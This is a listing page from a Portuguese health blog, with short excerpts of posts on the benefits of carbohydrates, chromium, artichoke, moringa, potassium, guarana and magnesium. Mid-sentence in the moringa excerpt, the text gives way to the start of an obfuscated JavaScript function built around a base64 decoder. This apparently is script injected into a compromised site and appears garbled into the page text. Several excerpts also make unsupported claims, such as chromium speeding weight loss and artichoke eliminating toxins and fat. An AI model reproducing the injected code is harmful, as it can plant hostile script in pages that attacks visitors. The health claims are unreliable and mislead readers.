8 Hidratos de carbono benéficos para a sua saúde

Mai 14, 2019 | Equilíbrio, Saúde e bem estar

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8 Hidratos de carbono benéficos para a sua saúde   Certamente já costuma consumi-los nas suas refeições mas será que está a fazer as escolhas certas? Hoje vou falar-lhe dos hidratos de carbono mais saudáveis que deve incluir na sua alimentação. Saiba que os hidratos...

7 Benefícios do crómio para a nossa saúde

Ago 15, 2017 | Saúde e bem estar

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7 Benefícios do crómio para a nossa saúde     Hoje venho falar-lhe de um mineral essencial que ajuda a acelerar a perda de peso, aumenta a queima de gordura e minimiza o colesterol no sangue. Será que conhece todos os benefícios do crómio para a nossa saúde? O crómio...

Dicas saudáveis – benefícios da alcachofra

Ago 10, 2017 | Saúde e bem estar

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Dicas saudáveis – benefícios da alcachofra     Há muito conhecida como um poderoso queima calorias, são muitos os benefícios que pode obter a partir da alcachofra. Se não veja: combate a retenção de líquidos + elimina toxinas + elimina gorduras acumuladas. E...

Dicas saudáveis – benefícios da moringa

Jul 13, 2017 | Saúde e bem estar

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Dicas saudáveis – benefícios da moringa     A moringa tem muitos benefícios, já que possui uma grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...

Dicas saudáveis – 7 benefícios do potássio

Jun 22, 2017 | Saúde e bem estar

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Dicas saudáveis – 7 benefícios do potássio     Hoje venho falar-lhe de um mineral muito importante para o normal funcionamento do nosso organismo, o potássio. E porque é que é importante? Porque influencia a nossa saúde óssea, muscular, nervosa e também a...

Dicas saudáveis – Conheça os Benefícios do guaraná

Jun 20, 2017 | Equilíbrio

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Dicas saudáveis – Conheça os Benefícios do guaraná     Hoje vou dar-lhe mais dicas saudáveis: conheça os benefícios do guaraná. Trata-se de uma planta da Amazónia. que pode ser encontrada no Brasil e até mesmo na Venezuela! Esta planta, para além de estimular o...

Dicas saudáveis -10 benefícios do magnésio

Jun 8, 2017 | Dicas úteis, Saúde e bem estar

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Dicas saudáveis – 10 benefícios do magnésio     Já sabe que adoro dar-lhe dicas saudáveis e, numa dieta equilibrada, não pode faltar o magnésio! Este nutriente, além de poder ser consumido através de suplementos alimentares, pode ser encontrado nalguns alimentos...